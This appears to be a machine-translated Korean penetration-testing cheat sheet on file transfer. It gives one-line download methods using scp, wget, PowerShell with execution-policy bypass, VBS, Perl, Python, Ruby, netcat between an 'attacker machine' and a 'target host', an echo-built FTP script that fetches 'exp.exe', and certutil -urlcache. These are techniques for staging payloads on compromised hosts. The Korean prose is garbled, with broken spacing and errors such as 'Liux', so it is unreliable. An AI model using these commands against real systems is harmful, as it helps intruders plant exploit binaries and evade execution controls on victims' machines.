네트워크 파일 전송 및 다운로드

2755 단어 스며들다
SCP
로 컬 에서 원 격 으로 로 컬 파일 을 서버 에 업로드 합 니 다.
scp -P 2222 /home/tmp/flag.php root@host_ip:/root/tmp/ root@host_ip 는 루트 사용자 로 원 격 서버 에 로그 인/home/tmp/flag.php 를 사용 하여 로 컬 업로드 파일/root/tmp 는 원 격 서버 에 저 장 된 디 렉 터 리 와 파일 이름-P 는 포트 를 선택 하 였 음 을 표시 합 니 다.주의-p 는 rcp 에서 사용 되 었 습 니 다.
로 컬 로 원 격 이동
scp root@host_ip:/root/tmp.log /home/tmp.log root@host_ip 는 루트 사용자 로 원 격 서버 host 에 로그 인 함 을 표시 합 니 다.ip; :/root/tmp.log 는 원 격 서버 의 파일 을 표시 합 니 다./홈/tmp.log 는 로 컬 에 저 장 된 경로 와 파일 이름 을 표시 합 니 다.
wget
wget 은 Liux 에서 자주 사용 하 는 다운로드 명령 입 니 다.사용법:wgethttp://www.xxx.org/xxx/xx/xxx.tar.gz
powershell
powershell-exec bypass-c(new-object System.Net.WebClient).DownloadFile("원 격 파일 위치"파일 위치 저장)
 powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://www.xxx.xx/test/test.exe','C:\Users\Desktop\')

$p=New-Object System Net.WebClient $p.DownloadFile(“http://www.xxx.xx/test/test.exe”,“C:\Users\Desktop”)
VBS 스 크 립 트
Set args=Wscript.Arguments
url="http://www.xxx.xx/test/test.php"
dim xhttp:set xhttp=createobject("Microsoft.XMLHTTP")
dim bStrm:set bstrm=createobject("Adodb.Stream")
xHttp.Open "GET",url,false
xHttp.Send
with bStrm
.type = 1'
.open
.write xHttp.responseBody
.savetofile "C:\Users\xxx\Desktop\test.php",2' 
end with           //  vbs  

url 은 원 격 파일 주 소 를 말 합 니 다 savetofile 은 원 격 파일 을 지정 하여 저장 하 는 파일 주 소 를 말 합 니 다.
perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://www.xxx.xx/test/test.php","xss.php")

python
#!/usr/bin/python
import urllib2
u=urllib2.urlopen('http://www.xxx.xx/test/test.php')
localFile=open('test.php','w')
localFile.write(u.read())
localFile.close()   //   python

ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.xxx.xx"){|http|
r = http.get("/test/test.php")
open("test.php","wb"){|file|
file.write(r.body)
}
}

NC
공격 기:cat file|nc-l 2333 대상 호스트:nc hostip 2333 >file
FTP
echo open 192.168.0.23 2121 >> 1.txt         //  FTP   
echo 123>>1.txt                              //   
echo 123>>1.txt                              //  
echo bin>>1.txt                              //  
echo get exp.exe>>1.txt                      //    
echo bye>>1.txt                              //  FTP   
       ,             1.txt  ,    :
ftp -s:1.txt                        // 1.txt      ftp  

certutil.exe
certutil.exe -urlcache -split -f http://site.com/file/

좋은 웹페이지 즐겨찾기